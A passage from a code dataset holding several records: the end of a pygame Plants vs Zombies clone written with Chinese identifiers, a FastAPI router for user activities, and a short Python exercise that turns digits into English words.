上方操作框\ndef 画内饰():\n screen.blit(内饰, (0, 0))\ndef 点击判断():\n x = event.pos[0]\n y = event.pos[1]\n if x >= cz_location[0] + 5 and x <= cz_location[0] + 75 and y >= cz_location[1] and y <= cz_location[1] + 75:\n #print('铲子')\n return ['铲子', 1]\n elif x >= qp_location[0] and x <= 70*9 + qp_location[0] and y >= qp_location[1] and y <= 70*5 + qp_location[1]:\n #print('选择格子:')\n #print((x - qp_location[0])//70 + 1, (y - qp_location[1])//70 + 1)\n return ['格子', [(x - qp_location[0])//70 + 1, (y - qp_location[1])//70 + 1]]\n elif x >= zzb_location[0] and x <= zzb_location[0] + 540 and y >= zzb_location[1] and y <= zzb_location[1] + 80:\n #print('选择种子:')\n #print((x - zzb_location[0])//60 + 1)\n global warmtext, wt\n if zzb[(x - zzb_location[0])//60].oncd:\n warmtext = warmfont.render('种子cd中', True, THECOLORS['orange'])\n wt = 30\n return ['种子cd中', (x - zzb_location[0])//60 + 1]\n elif zzb[(x - zzb_location[0])//60].cost > sum_sun:\n warmtext = warmfont.render('费用过高', True, THECOLORS['orange'])\n wt = 30\n return ['费用过高', (x - zzb_location[0])//60 + 1]\n return ['种子', (x - zzb_location[0])//60 + 1]\ndef 慢动画播放():\n #植物行为\n for xrk in qp:\n xrk.jz(xrk.pd(), xrk.wei)\n #阳光行为\n for s in sun:\n s.jz(s.wei)\n #拾取的阳光行为\n for s in sun_move:\n s.jz(s.wei)\ndef 快动作播放():\n global wt, warmtext, bot, botext\n #僵尸动,来自动画播放,为提高流畅性,移动至此处\n for j in js:\n j.jz(j.pd(), j.wei)\n #豌豆动\n for s in shoot:\n s.jz(s.pd(), s.wei)\n #攻击特效动\n for s in shoot_move:\n s.jz(s.wei)\n #肢体动\n for s in sz:\n s.jz(s.wei)\n #阳光下落\n for s in sun:\n if s.sunfrom == 'flower':\n s.down1(s.wei2)\n elif s.sunfrom == 'sun':\n s.down2(s.wei2)\n #警告标语显示与消失\n if wt > 0:\n wt -= 1\n else:\n warmtext = warmfont.render('', True, THECOLORS['orange'])\n if bot > 0:\n bot -= 1\n else:\n botext = bofont.render('', True, THECOLORS['orange'])\ndef 画种子包():\n global zzb\n for b in zzb:\n if b.oncd > 0:\n b.oncd -= 1\n apa = int((1 - b.oncd/b.cd) * 200)\n if b.oncd == 0:\n apa = 255\n pygame.draw.rect(screen, THECOLORS['gray'], [zzb_location[0] + b.wei * 60, zzb_location[1], 60, 82], 0)\n source = b.image\n temp = pygame.Surface((source.get_width(), source.get_height())).convert()\n temp.blit(source, (0, 0))\n temp.set_alpha(apa)\n screen.blit(temp, [zzb_location[0] + b.wei * 60, zzb_location[1]])\n else:\n screen.blit(b.image, [zzb_location[0] + b.wei * 60, zzb_location[1]])\ndef 画棋盘物体():\n #越后生成越上层\n h1 = []\n h2 = []\n h3 = []\n h4 = []\n h5 = []\n h = [h1, h2, h3, h4, h5]\n #放到h里的是有行层次的\n #棋盘上的植物\n for xrk in qp:\n if xrk != 0:\n h[xrk.hang - 1].append(xrk)\n #僵尸\n for j in js:\n if j != 0:\n h[j.hang - 1].append(j)\n #肢体\n for s in sz:\n if s != 0:\n h[s.hang - 1].append(s)\n #豌豆等攻击\n for s in shoot:\n if s != 0:\n h[s.hang - 1].append(s)\n #攻击特效\n for s in shoot_move:\n if s != 0:\n h[s.hang - 1].append(s)\n for i in h:\n for j in i:\n if j != 0:\n screen.blit(j.image, j.rect)\n if j.type == 'zb':\n if j.imgin == 1:\n screen.blit(j.hat_img, j.rect)\n elif j.imgin == 4:\n screen.blit(j.hat_img, [j.rect.left, j.rect.top + 1])\n elif j.imgin == 5:\n screen.blit(j.hat_img, [j.rect.left + 1, j.rect.top])\n else:\n screen.blit(j.hat_img, [j.rect.left, j.rect.top - 2])\ndef 画阳光和硬币():\n #场上的阳光\n for s in sun:\n if s != 0:\n screen.blit(s.image, s.rect)\n #拾取的阳光\n for s in sun_move:\n if s != 0:\n screen.blit(s.image, s.rect)\ndef click_sun():\n x = event.pos[0]\n y = event.pos[1]\n i = 0\n for s in sun:\n if x >= s.rect.left and x <= s.rect.left + 50 and y >= s.rect.top and y <= s.rect.top + 50:\n sun_move.append(sunmoveClass([s.rect.top, s.rect.left]))\n sun.remove(s)\n if random.randint(0, 1):\n sound('clicksun.wav')\n else:\n sound('clicksun2.wav')\n i += 1\n return i * 25\ndef 移动事件():\n global sum_sun\n add = click_sun()\n if add:\n sum_sun += add\ndef 右击事件():\n global djq, suntext, 铲子选中态, 种子选中态, 选中种子\n djq = 5\n if 铲子选中态:\n 铲子选中态 = False\n if 种子选中态:\n 种子选中态 = False\ndef 左击事件():\n #上层先判断\n global djq, suntext, 铲子选中态, 种子选中态, 选中种子, sum_sun\n djq = 5 # 5帧的点击延迟\n add = click_sun() #以后改成捡硬币\n if add:\n sum_sun += add\n else:\n 位置 = 点击判断() # 如果没点到阳光(或硬币),返回点击了个啥\n if 位置:\n if 位置[0] == '铲子':\n if not 铲子选中态:\n sound('shovel.wav')\n 铲子选中态 = not 铲子选中态\n 种子选中态 = False\n 选中种子 = 0\n if 位置[0] == '种子':\n if not 种子选中态:\n sound('seedlift.wav')\n 种子选中态 = not 种子选中态\n 铲子选中态 = False\n 选中种子 = 位置[1]\n if 位置[0] == '格子':\n if 种子选中态:\n apd(位置[1][0], 位置[1][1], 选中种子)\n if 铲子选中态:\n rmv(位置[1][0], 位置[1][1])\n 选中种子 = 0\n 种子选中态 = False\n 铲子选中态 = False\n else:\n #点到空白的地方\n if 铲子选中态:\n 铲子选中态 = False\n if 种子选中态:\n 种子选中态 = False\ndef 发光(y, x):\n sun.append(sunClass([qp_location[1] + y * 70 + 10 - 70, qp_location[0] + x * 70 + 10 - 70], 'flower'))\ndef 自然光(x, y):\n sun.append(sunClass([x, y], 'sun'))\ndef apd(x, y, 选中种子):\n global sum_sun\n global suntext\n if 选中种子:\n if gezi[x-1][y-1] == 0:\n zzb[选中种子-1].apd([x, y])#添加植物\n sum_sun = sum_sun - zzb[选中种子-1].cost\n suntext = myfont.render(str(sum_sun), True, THECOLORS['orange'])\n gezi[x-1][y-1] = 1\n 进入cd(选中种子-1)\n if random.randint(0, 1):\n sound('plant.wav')\n else:\n sound('plant2.wav')\n else:\n print('已存在')\ndef rmv(x, y):\n if gezi[x-1][y-1] == 1:\n for xrk in qp:\n if xrk.hang == y and xrk.lie == x:\n qp.remove(xrk)\n gezi[x-1][y-1] = 0\n if random.randint(0, 1):\n sound('plant.wav')\n else:\n sound('plant2.wav')\n else:\n print('不存在')\n\n#类\nclass zzb_jianguoClass(pygame.sprite.Sprite):\n def __init__(self, wei):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path+'zzb/jg.png').convert_alpha()\n self.wei = wei\n self.type = 'zzb'\n self.i = pygame.image.load(img_path+'jg/jg1.png')\n self.cd = 900 #30s\n self.oncd = 450 #开局一半cd\n self.cost = 50\n def apd(self, location):\n qp.append(jianguoClass(location))\nclass jianguoClass(pygame.sprite.Sprite):\n def __init__(self, location):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path + 'jg/jg1.png')\n self.rect = self.image.get_rect()\n self.hang = location[1]\n self.lie = location[0]\n self.rect.top = qp_location[1] + location[1] * 70 + 10 - 70\n self.rect.left = qp_location[0] + location[0] * 70 + 10 - 70\n self.wei = 0\n self.hp = 4000\n self.maxhp = 4000\n self.type = 'pl'\n self.pw = \"\"\n def jz(self, return_list, wei=0):\n if wei >= 4:\n wei = 0\n if wei < 4:\n if wei == 0:\n self.image = pygame.image.load(img_path + 'jg/' + self.pw + 'jg1.png')\n elif wei == 1:\n self.image = pygame.image.load(img_path + 'jg/' + self.pw + 'jg2.png')\n elif wei == 2:\n self.image = pygame.image.load(img_path + 'jg/' + self.pw + 'jg1.png')\n elif wei == 3:\n self.image = pygame.image.load(img_path + 'jg/' + self.pw + 'jg3.png')\n wei += 1\n self.wei = wei\n def 扣血(self, hp):\n self.hp -= hp\n if self.hp >= self.maxhp * 2/3:\n self.pw = \"\"\n elif self.hp >= self.maxhp / 3:\n self.pw = \"pw1/\"\n else:\n self.pw = \"pw2/\"\n if self.hp <= 0:\n sound('plantdied.wav')\n gezi[self.lie - 1][self.hang - 1] = 0\n qp.remove(self)\n def pd(self):\n pass\nclass zzb_PeaShooterClass(pygame.sprite.Sprite):\n def __init__(self, wei):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path+'zzb/wd.png').convert_alpha()\n self.wei = wei\n self.type = 'zzb'\n self.i = pygame.image.load(img_path+'wd/wd2.png')\n self.cd = 225 #7.5s\n self.oncd = 0\n self.cost = 100\n def apd(self, location):\n qp.append(PeaShooterClass(location))\nclass PeaShooterClass(pygame.sprite.Sprite):\n def __init__(self, location):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(wd_img_jz[1])\n self.rect = self.image.get_rect()\n self.hang = location[1]\n self.lie = location[0]\n self.rect.top = qp_location[1] + location[1] * 70 + 10 - 70 #70为格子宽,10为50*50植物图片大小补正\n self.rect.left = qp_location[0] + location[0] * 70 + 10 - 70\n self.wei = 4 #第一发时间减半\n self.hp = 300\n self.maxhp = 300\n #self.speed = 1.4 #1.4s/发\n self.type = 'pl'\n def jz(self, return_list, wei=0):\n if wei >= 8:\n if return_list[0]:\n shoot.append(PeaClass([self.lie, self.hang]))\n sound('throw%d.wav'%random.randint(1, 2))\n wei = 0\n if wei % 4 == 0:\n self.image = pygame.image.load(wd_img_jz[1])\n elif wei % 4 == 1:\n self.image = pygame.image.load(wd_img_jz[2])\n elif wei % 4 == 2:\n self.image = pygame.image.load(wd_img_jz[1])\n elif wei % 4 == 3:\n self.image = pygame.image.load(wd_img_jz[0])\n wei += 1\n self.wei = wei\n def pd(self):\n global js\n #遍历僵尸,寻找范围内的僵尸\n for j in js:\n #同行\n if self.hang == j.hang:\n #35为格子的一半,寻找豌豆中点右边的僵尸\n if self.rect.left + 35 - j.rect.left <= 20:\n #返回True,和该僵尸\n return [True, j]\n return [False, 0]\n def 扣血(self, hp):\n self.hp -= hp\n if self.hp <= 0:\n sound('plantdied.wav')\n gezi[self.lie - 1][self.hang - 1] = 0\n qp.remove(self)\nclass PeaClass(pygame.sprite.Sprite):\n def __init__(self, location):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path+'shoot/ptwd1.png').convert_alpha()\n self.rect = self.image.get_rect()\n self.hang = location[1]\n self.lie = location[0]\n self.rect.top = qp_location[1] + location[1] * 70 + 10 - 70\n self.rect.left = qp_location[0] + location[0] * 70 + 10 - 70 + 15#体长补正\n self.speed = 10#速度\n self.wei = 0\n self.ad = 27 #普通僵尸hp:270\n self.type = 'ad'\n def jz(self, return_list, wei = 0):\n if wei < 100:\n if not return_list[0]:\n self.rect.left += self.speed\n wei += 1\n else:\n shoot_move.append(PeamoveClass(self))\n 扣血(return_list[1], self.ad)\n else:\n shoot.remove(self)\n self.wei = wei\n def pd(self):\n global js\n collide_list = pygame.sprite.spritecollide(self, js, False)\n if collide_list:\n hang = self.hang\n for i in collide_list:\n if hang == i.hang:\n if i:\n #返回第一个碰撞的\n shoot.remove(self)\n return [True, i]\n return [False, 0]\nclass PeamoveClass(pygame.sprite.Sprite):\n def __init__(self, j):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path + 'shoot/ptwd2.png')\n self.rect = self.image.get_rect()\n self.rect.top = j.rect.top\n self.rect.left = j.rect.left + 10 #10为距离补正\n self.hang = j.hang\n self.wei = 0\n self.type = 'pt'\n def jz(self, wei = 0):\n if wei < 2:\n if wei == 1:\n self.image = pygame.image.load(img_path+'shoot/ptwd3.png')\n else:\n sound('splat%d.wav'%random.randint(1, 3))\n shoot_move.remove(self)\n wei += 1\n self.wei = wei\nclass zzb_SunFlowerClass(pygame.sprite.Sprite):\n def __init__(self, wei):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path+'zzb/xrk.png').convert_alpha()\n self.wei = wei\n self.i = pygame.image.load(img_path+'xrk/xrk2.png')\n self.cd = 225 #7.5s\n self.oncd = 0\n self.cost = 50\n self.type = 'zzb'\n def apd(self, location):\n qp.append(SunFlowerClass(location))\nclass SunFlowerClass(pygame.sprite.Sprite):\n def __init__(self, location):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(hcr_img_jz[1])\n self.rect = self.image.get_rect()\n self.hang = location[1]\n self.lie = location[0]\n self.rect.top = qp_location[1] + location[1] * 70 + 10 - 70\n self.rect.left = qp_location[0] + location[0] * 70 + 10 - 70\n self.wei = 90 #第一个阳光6s,后面24s一个(不计动作时间)\n self.hp = 300\n self.maxhp = 300\n self.type = 'pl'\n def jz(self, return_list, wei=0):\n if wei < 120:\n if wei % 4 == 0:\n self.image = pygame.image.load(hcr_img_jz[1])\n elif wei % 4 == 1:\n self.image = pygame.image.load(hcr_img_jz[2])\n elif wei % 4 == 2:\n self.image = pygame.image.load(hcr_img_jz[1])\n elif wei % 4 == 3:\n self.image = pygame.image.load(hcr_img_jz[0])\n else:\n if wei == 120:\n self.image = pygame.image.load(hcr_img_jz[3])\n if wei == 123:\n self.image = pygame.image.load(hcr_img_jz[1])\n 发光(self.hang, self.lie)\n if wei == 125:\n wei = 0\n wei += 1\n self.wei = wei\n def 扣血(self, hp):\n self.hp -= hp\n if self.hp <= 0:\n sound('plantdied.wav')\n gezi[self.lie - 1][self.hang - 1] = 0\n qp.remove(self)\n def pd(self):\n pass\nclass sunClass(pygame.sprite.Sprite):\n def __init__(self, location, sunfrom):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path+'yg/dyg1.png')\n self.rect = self.image.get_rect()\n self.rect.top, self.rect.left = location\n self.type = 'wp'\n self.wei = 0\n self.sunfrom = sunfrom\n self.wei2 = 0\n self.wmax = 0\n def jz(self, wei=0):\n if wei < 75:\n if wei % 2 == 0:\n self.image = pygame.image.load(img_path+'yg/dyg1.png')\n elif wei % 2 == 1:\n self.image = pygame.image.load(img_path+'yg/dyg2.png')\n else:\n if wei == 75:\n sun.remove(self)\n wei += 1\n self.wei = wei\n def down1(self, wei2=0):\n if wei2 <= 10:\n self.rect.top -= 2\n self.rect.left += 1\n elif wei2 <= 30:\n self.rect.top += 1\n if wei2 <= 30:\n wei2 += 1\n self.wei2 = wei2\n def down2(self, wei2=0):\n if self.wmax == 0:\n self.wmax = random.randint(60, 160)\n if wei2 < self.wmax:\n self.rect.top += 3\n if wei2 <= self.wmax:\n wei2 += 1\n self.wei2 = wei2\nclass sunmoveClass(pygame.sprite.Sprite):\n def __init__(self, location):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path+'yg/dyg1.png')\n self.rect = self.image.get_rect()\n self.rect.top, self.rect.left = location\n self.type = 'pt'\n #从当前位置到(20, 20)\n self.sx = int((location[0] - 20)/20)\n self.sy = int((location[1] - 20)/20)\n self.wei2 = 0\n self.wei = 0\n def move(self, wei2 = 0):\n global suntext\n if wei2 < 20:\n self.rect.top -= self.sx\n self.rect.left -= self.sy\n if wei2 == 20:\n sun_move.remove(self)\n suntext = myfont.render(str(sum_sun), True, THECOLORS['orange'])\n wei2 += 1\n self.wei2 = wei2\n def jz(self, wei = 0):\n if wei < 75:\n if wei % 2 == 0:\n self.image = pygame.image.load(img_path+'yg/dyg1.png')\n elif wei % 2 == 1:\n self.image = pygame.image.load(img_path+'yg/dyg2.png')\n else:\n if wei == 75 and self.wei2 == 0:\n sun.remove(self)\n wei += 1\n self.wei = wei\nclass hatjsClass(pygame.sprite.Sprite):\n def __init__(self, hang, killed, hat, maxhat):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path+'js/ptjs/ptjs1.png').convert_alpha()\n self.rect = self.image.get_rect()\n self.hang = hang\n self.weight = 70\n self.rect.top = qp_location[1] + hang * 70 - 70 - 45\n self.rect.left = width\n self.wei2 = 0\n self.wei = 0\n self.speed = 70/25 #5s/格\n self.hp = 270\n self.maxhp = 270\n self.type = 'zb'\n self.ad = 50\n self.killed = killed\n self.dead = False\n self.pw = 0 #破位0为完整,1为断手,2为断头\n self.hat = maxhat #帽子当前血量\n self.maxhat = maxhat #帽子总血量\n self.hat_path = img_path + 'js/hat/' + hat #帽子图片的位置\n self.hat_img = pygame.image.load(img_path + 'js/hat/' + hat + '/1.png').convert_alpha()\n self.hw = 0\n self.imgin = 1\n def jz(self, return_list ,wei = 0):\n #每次动都减少被死亡时间,如果为0则名义上死亡\n if self.killed > 0:\n self.killed -= 1\n elif self.killed == 0:\n self.killed = -1\n #当前僵尸数减少\n global dq\n dq -= 1\n self.dead = True\n #如果有植物在前面\n if return_list[0]:\n if wei == 0:\n self.imgin = 4\n if self.pw:\n self.image = pygame.image.load(img_path + 'js/ptjs/pw/ptjs4.png').convert_alpha()\n else:\n self.image = pygame.image.load(img_path + 'js/ptjs/ptjs4.png').convert_alpha()\n 扣血(return_list[1], self.ad)\n sound('chomp%d.wav' % random.randint(1, 3))\n # 断点\n elif wei == 18:\n self.imgin = 5\n if self.pw:\n self.image = pygame.image.load(img_path + 'js/ptjs/pw/ptjs5.png').convert_alpha()\n else:\n self.image = pygame.image.load(img_path + 'js/ptjs/ptjs5.png').convert_alpha()\n 扣血(return_list[1], self.ad)\n sound('chomp%d.wav'%random.randint(1, 3))\n if wei > 36:\n wei = -1\n else:\n #1/121概率叫\n if not random.randint(0, 120 * 6):\n sound('groan%d.wav'%random.randint(1, 6))\n if wei <= 24:\n if wei == 6:\n self.imgin = 1\n if self.pw:\n self.image = pygame.image.load(img_path+'js/ptjs/pw/ptjs1.png').convert_alpha()\n else:\n self.image = pygame.image.load(img_path + 'js/ptjs/ptjs1.png').convert_alpha()\n self.rect.left -= self.speed\n elif wei == 12:\n self.imgin = 2\n if self.pw:\n self.image = pygame.image.load(img_path+'js/ptjs/pw/ptjs2.png').convert_alpha()\n else:\n self.image = pygame.image.load(img_path + 'js/ptjs/ptjs2.png').convert_alpha()\n self.rect.left -= self.speed\n elif wei == 18:\n self.imgin = 1\n if self.pw:\n self.image = pygame.image.load(img_path+'js/ptjs/pw/ptjs1.png').convert_alpha()\n else:\n self.image = pygame.image.load(img_path + 'js/ptjs/ptjs1.png').convert_alpha()\n self.rect.left -= self.speed\n elif wei == 24:\n self.imgin = 3\n if self.pw:\n self.image = pygame.image.load(img_path+'js/ptjs/pw/ptjs3.png').convert_alpha()\n else:\n self.image = pygame.image.load(img_path + 'js/ptjs/ptjs3.png').convert_alpha()\n self.rect.left -= self.speed\n else:\n wei = 0\n wei += 1\n self.wei = wei\n def 扣血(self, hp):\n if self.hat > 0:\n self.hat = self.hat - hp\n if self.hat <= 0:\n self.hp += self.hat\n self.hat_img = pygame.image.load(img_path + 'js/hat/no/1.png').convert_alpha()\n sz.append(hatClass(self))\n if self.hat >= self.maxhat * 2/3 and self.hw == 0:\n self.hat_img = pygame.image.load(self.hat_path + '/1.png').convert_alpha()\n self.hw += 1\n elif self.hat <= self.maxhat * 2/3 and self.hw == 1:\n self.hat_img = pygame.image.load(self.hat_path + '/2.png').convert_alpha()\n self.hw += 1\n elif self.hw == 2:\n self.hat_img = pygame.image.load(self.hat_path + '/3.png').convert_alpha()\n self.hw += 1\n else:\n self.hp -= hp\n if self.hp <= 135:\n if self.pw == 0:\n sz.append(handClass(self))\n self.pw = 1\n if self.hp <= 0:\n sz.append(bodyClass(self))\n sz.append(headClass(self))\n if not self.dead:\n global dq\n dq -= 1\n js.remove(self)\n def pd(self):\n global qp\n #遍历植物,寻找范围内的植物\n for xrk in qp:\n #同行\n if xrk.hang == self.hang:\n #35为格子的一半,允许15px误差\n if abs(xrk.rect.left + 35 - (self.rect.left + self.weight/2)) <= 15:\n #返回True,和该植物\n return [True, xrk]\n return [False, 0]\nclass handClass(pygame.sprite.Sprite):\n def __init__(self, j):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path + 'js/hand/hand1.png')\n self.type = 'sz'\n self.rect = j.rect\n self.hang = j.hang\n self.wei = 0\n def jz(self, wei = 0):\n if wei < 18:\n if wei == 0:\n sound('shoop.wav')\n if wei == 6:\n self.image = pygame.image.load(img_path+'js/hand/hand2.png')\n elif wei == 12:\n self.image = pygame.image.load(img_path + 'js/hand/hand3.png')\n else:\n sz.remove(self)\n wei += 1\n self.wei = wei\nclass headClass(pygame.sprite.Sprite):\n def __init__(self, j):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path + 'js/head/head1.png')\n self.type = 'sz'\n self.rect = j.rect\n self.hang = j.hang\n self.wei = 0\n def jz(self, wei = 0):\n if wei < 18:\n if wei == 0:\n sound('shoop.wav')\n if wei == 6:\n self.image = pygame.image.load(img_path+'js/head/head2.png')\n elif wei == 12:\n self.image = pygame.image.load(img_path + 'js/head/head3.png')\n else:\n sz.remove(self)\n wei += 1\n self.wei = wei\nclass bodyClass(pygame.sprite.Sprite):\n def __init__(self, j):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_path + 'js/body/body1.png')\n self.type = 'sz'\n self.rect = j.rect\n self.hang = j.hang\n self.wei = 0\n def jz(self, wei = 0):\n if wei <= 37:\n if wei == 12:\n self.image = pygame.image.load(img_path + 'js/body/body2.png')\n elif wei == 22:\n self.image = pygame.image.load(img_path+'js/body/body3.png')\n elif wei == 32:\n self.image = pygame.image.load(img_path + 'js/body/body4.png')\n self.rect.left -= 20 #图片大小补正\n sound('falling%d.wav' % random.randint(1, 2))\n else:\n sz.remove(self)\n wei += 1\n self.wei = wei\nclass hatClass(pygame.sprite.Sprite):\n def __init__(self, j):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(j.hat_path + '/4.png')\n self.hat_path = j.hat_path\n self.type = 'sz'\n self.rect = j.rect\n self.hang = j.hang\n self.wei = 0\n def jz(self, wei = 0):\n if wei < 18:\n if wei == 0:\n sound('shoop.wav')\n if wei == 6:\n self.image = pygame.image.load(self.hat_path + '/5.png')\n elif wei == 12:\n self.image = pygame.image.load(self.hat_path + '/6.png')\n else:\n sz.remove(self)\n wei += 1\n self.wei = wei\n#主程序\npygame.init()\n#创建Clock的实例\nclock = pygame.time.Clock()\n#构建屏幕\nscreen = pygame.display.set_mode((width, height), 0, 32)\n\ncoming_js = []\ndq = 0\nbo = []\nin_bo = False\n总波数 = 0\n大波数 = 0\n关卡名称 = ''\n关卡模式 = ''\n背景 = ''\n棋盘 = ''\nbgm = ''\n最后一波 = False\n大波 = False\n波数 = 0\n加载关卡('1_1.json')\n\npygame.mixer.init()\n\n#阳光\nsum_sun = 50\nsun = []\nsun_move = []\n#攻击\nshoot = []\n#攻击命中特效\nshoot_move = []\n#种子包\nzzb = []\nzzb.append(zzb_SunFlowerClass(0))\nfor i in range(1, 8):\n zzb.append(zzb_PeaShooterClass(i))\nzzb.append(zzb_jianguoClass(8))\n\n\n\n# 创建一个字体\nmyfont = pygame.font.Font(None, 40)\nwarmfont = pygame.font.Font('SC.otf', 60)\nbofont = pygame.font.Font('SC.otf', 60)\n\nsuntext = myfont.render(str(sum_sun), True, THECOLORS['orange'])\nwarmtext = warmfont.render('', True, THECOLORS['gray'])\nbotext = bofont.render('', True, THECOLORS['red'])\n\nkk = pygame.image.load(img_path + 'zzb/kk.png')\ncz = pygame.image.load(img_path + 'zzb/cz.png')\n\nrandom.seed()\nmusic(bgm)\nqp = []\n#植物50*50,(不一定)\ngezi = [[0 for i in range(5)] for i in range(9)] #5*9\n\njs = []\nsz = []#碎肢\n#for i in range(5):\n #js.append(ptjsClass(i+1,0))\n\nwt = 0 #标语存在时间\nbot = 0 #波数提示存在时间\n铲子选中态 = False\n种子选中态 = False\nw = 0 #自然光时间7.5s\ndjq = 0 #点击cd\ntime = 0 #波外进度0.2s+1,\njstime = 0 #波内进度0.2s+1\n\nwhile True:\n for event in pygame.event.get():\n if event.type == QUIT:\n # 接收到退出时间后退出程序\n exit()\n #检查帧速率\n frame_rate = clock.get_fps()\n print('frame rate =', frame_rate)\n #鼠标点击\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1 and djq == 0:\n 左击事件()\n if event.button == 3 and djq == 0:\n 右击事件()\n elif event.type == pygame.MOUSEMOTION:\n 移动事件()\n elif event.type == KEYDOWN:\n if event.key == pygame.K_1:\n #if 位置[0] == '铲子':\n if not 铲子选中态:\n sound('shovel.wav')\n 铲子选中态 = not 铲子选中态\n 种子选中态 = False\n 选中种子 = 0\n\n if w % 6 == 0:\n # 判定波是否达到\n if bo:\n 波解析(bo[0])\n else:\n if jstime == 10 and 大波:\n if 最后一波:\n sound('finalwave.wav')\n botext = bofont.render(' 最后一波 ', True, THECOLORS['red'])\n bot = 50\n sound('sukhbir.wav')\n # 当前僵尸死光了(或被死亡)\n if dq == 0:\n jstime = -1\n in_bo = False\n if 最后一波:\n botext = bofont.render(' 你赢了 ', True, THECOLORS['red'])\n bot = 50\n # 把僵尸放出来!!!倒序删除法\n for i in range(len(coming_js) - 1, -1, -1):\n if 刷新僵尸(coming_js[i]):\n coming_js.pop(i)\n 慢动画播放()\n if in_bo:\n jstime += 1\n else:\n time += 1\n 快动作播放()\n\n #阳光收集移动\n 收集阳光()\n\n w += 1\n if w == 225:#7.5s每个\n 自然光(0, random.randint(150, 800))\n w = 0\n\n if djq > 0:\n djq -= 1\n\n 画面显示()\n clock.tick(30)\n\npygame.quit()","repo_name":"1224667889/pygame_pvz","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":35826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38450322269","text":"from authenticator import authenticator\nfrom fastapi import APIRouter, Depends, HTTPException, Response, status\nfrom pydantic import BaseModel\nfrom queries.activities import (\n ActivitiesList,\n ActivityIn,\n ActivityInUpdate,\n ActivityOut,\n ActivityOutUpdate,\n ActivityQueries,\n CategoryEnum,\n PriorityEnum,\n)\n\nrouter = APIRouter()\n\n\nclass HttpError(BaseModel):\n detail: str\n\n\n@router.get(\"/api/activities/{id}\", response_model=ActivityOut)\nasync def get_one_activity(\n id: str,\n repo: ActivityQueries = Depends(),\n account_data: dict = Depends(authenticator.try_get_current_account_data),\n):\n if account_data:\n return repo.get_one(id)\n else:\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=\"No account logged in\",\n )\n\n\n@router.get(\"/api/activities/\", response_model=ActivitiesList | HttpError)\nasync def get_activity(\n repo: ActivityQueries = Depends(),\n account_data: dict = Depends(authenticator.get_current_account_data),\n):\n return ActivitiesList(activities=repo.get_all(account_info=account_data))\n\n\n@router.post(\"/api/activities/\", response_model=ActivityOut | HttpError)\nasync def create_activity(\n info: ActivityIn,\n repo: ActivityQueries = Depends(),\n account: dict = Depends(authenticator.get_current_account_data),\n):\n info.email = account[\"email\"]\n if info.start_date is not None:\n info.is_event = True\n else:\n info.is_event = False\n info.start_date = None\n info.end_date = None\n\n if info.category == \"business\":\n info.color = \"#6aa84f\"\n elif info.category == \"personal\":\n info.color = \"#f1c232\"\n else:\n info.color = \"#cc4125\"\n\n info = repo.create(info)\n return info\n\n\n@router.delete(\"/api/activities/{id}\", response_model=bool)\nasync def delete_activity(\n id: str,\n response: Response,\n queries: ActivityQueries = Depends(),\n account_data: dict = Depends(authenticator.try_get_current_account_data),\n):\n if account_data:\n queries.delete(id=id)\n response.status_code = 200\n return True\n else:\n response.status_code = 400\n return False\n\n\n@router.put(\"/api/activities/{id}\", response_model=ActivityOutUpdate)\nasync def update_activity(\n id: str,\n info: ActivityInUpdate,\n response: Response,\n repo: ActivityQueries = Depends(),\n account_data: dict = Depends(authenticator.try_get_current_account_data),\n):\n info.email = account_data[\"email\"]\n if info.start_date is not None:\n info.is_event = True\n else:\n info.is_event = False\n info.start_date = None\n info.end_date = None\n\n if info.category == \"business\":\n info.color = \"#6aa84f\"\n elif info.category == \"personal\":\n info.color = \"#f1c232\"\n else:\n info.color = \"#cc4125\"\n update = repo.update(id=id, info=info)\n if update is None:\n response.status_code = 404\n else:\n return update\n\n\n@router.get(\"/api/priorities\")\nasync def get_priorities():\n output = []\n for priority in PriorityEnum:\n output.append(priority.value)\n return output\n\n\n@router.get(\"/api/categories\")\nasync def get_categories():\n output = []\n for category in CategoryEnum:\n output.append(category.value)\n return output\n","repo_name":"ryancur/Tasktic","sub_path":"api_service/routers/activities.py","file_name":"activities.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4460953779","text":"# Задача 2.3.\n\n# **********************************************************\n# Python. Поток 2. Студент Коновченко Александр Михайлович\n# **********************************************************\n\n# Напишите функцию, которая принимает цифры от 0 до 9 и возвращает значение прописью.\n# Например,\n# switch_it_up(1) -> 'One'\n# switch_it_up(3) -> 'Three'\n# switch_it_up(10000) -> None\n# Использовать условный оператор if-elif-else нельзя!\n\ndef switch_it_up(number):\n digits_dict = {1: 'One', \n 2: 'Two',\n 3: 'Three',\n 4: 'Four',\n 5: 'Five',\n 6: 'Six',\n 7: 'Seven',\n 8: 'Eight',\n 9: 'Nine'}\n return digits_dict.get(number)\n\nfor digit in range(0, 15):\n print(f'Задано число {digit}. ', end=\"\")\n result = switch_it_up(digit)\n if result:\n print(f'На английском это {result}.')\n else:\n print('В моем словаре нет такого значения.')\n","repo_name":"prograrador/project_01","sub_path":"lvl_2/task_2.3.py","file_name":"task_2.3.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19309382651","text":"# a compilation of simple helper functions used by the AAG 